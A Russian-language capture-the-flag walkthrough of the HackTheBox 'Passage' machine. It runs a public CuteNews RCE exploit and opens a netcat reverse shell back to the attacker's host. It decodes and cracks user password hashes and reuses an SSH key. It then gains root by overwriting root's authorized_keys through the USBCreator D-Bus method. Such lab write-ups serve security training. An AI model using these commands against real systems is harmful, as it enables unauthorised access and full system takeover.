Прохождение HackTheBox Passage

Прохождение HackTheBox Passage

SHADOW:Group

ОС: Linux

Сложность: Средняя

Баллы: 30

Релиз: 05 сен 2020

IP: 10.10.10.206

Сбор Информации

Проверяем открытые порты с помощью nmap:

nmap -sC -sV -Pn passage.htb

Видим открытый 80 порт и смотрим, что на нем размещено.

http://passage.htb

Видим что-то похожее на новостной портал. Верхняя новость как бы намекает нам о том, что на сервере запущен Fail2Ban, а значит за попытку брута мы отлетим в бан. Это касается и утилит типа gobuster, dirbuster и тд.

Пробуем открыть исходный код страницы (ctrl+U) и обращаем внимание на наличие директории /CuteNews

Переходим по данному адресу и видим страницу авторизации

http://passage.htb/CuteNews

Внизу видим версию CuteNews и пытаемся поискать публичные эксплойты под эту версию. Буквально первой ссылкой в гугле натыкаемся на RCE:

Получаем пользователя

Копируем код в файл 11447.py и пытаемся выполнить его. В качестве входный данных требуется лишь URL сайта:

python3 11447.py

И видим, что эксплойт успешно отработал и предоставил нам строку для ввода команды. Теперь получим более удобную оболочку с помощью netcat и выполним команду:

nc -e /bin/sh 10.10.10.12 1234

где 10.10.10.12 - ip нашей машины

На нашей машине будем слушать порт 1234, для получения обратного шела:

nc -nlvp 1234

а также преобразуем наш шел до полностью интерактивного (это не обязательно)

python -c 'import pty;pty.spawn("/bin/bash");'
Ctrl+Z
stty raw -echo && fg
export TERM=xterm

Первое, что я делаю, это проверяю файлы CuteNews, чтобы увидеть, есть ли какие-либо файлы конфигурации с учетными данными. После некоторого поиска я наткнулся на папку /var/www/html/CuteNews/cdata/users, содержащую файлы php. Внутри файлов находится декодированная строка base64 с информацией о зарегистрированных пользователях.

В файле b0.php находим хэш для пользователя paul.

echo hash | base64 -d

Пробуем получить пароль из хеша с помощью сайта CrackStation:

Получаем пароль atlanta1. Логинимся как paul и получаем user.txt

su paul
cd /home/paul
cat user.txt

Повышаем привилегии

На этом этапе я просматриваю папку /home/paul и нахожу внутри .ssh закрытый ключ id_rsa paul, с этим я могу подключиться через ssh. Более того, с этим ключом мы можем подключиться и как пользователь nadav:

chmod 600 ssh_key
ssh -i ssh_key nadav@passage.htb

Следующий этап занял у меня достаточно много времени. Сначала я пытался проанализировать процессы, но не заметил ничего необычного. В итоге, по счастливой случайности я решил заглянуть в файл .viminfo внутри папки /home и обнаружил, что происходили изменения в файле /etc/dbus-1/system.d/com.ubuntu.USBCreator.conf

Переходим в гугл и находим вот эту статью. В конце статьи объясняется, как из-за уязвимости можно читать и перезаписывать недоступные файлы без запроса пароля. Таким образом мы можем попробовать перезаписать authorized_keys для пользователя root и подключиться к нему по ssh. Для этого необходимо выполнение следующих условий:

  • Пользователь должен быть в группе sudoers. В нашем случае nadav входит в группу sudoers.
  • Пользователь должен иметь исполняемые привилегии для инструмента dbus.

На нашей машине создаем ключи для ssh:

ssh-keygen

Затем копируем наш публичный ключ в файл authorized_keys в папке /home/nadav

Для эксплуатации уязвимости запустим следующий код:

gdbus call --system --dest com.ubuntu.USBCreator --object-path /com/ubuntu/USBCreator --method com.ubuntu.USBCreator.Image /home/nadav/authorized_keys /root/.ssh/authorized_keys true

Теперь подключаемся к пользователю root по ssh и забираем root.txt.

ssh -i root_key root@passage.htb

На этом все. Благодарю за просмотр!

Подпишись на канал - @shadow_group_tg

Report Page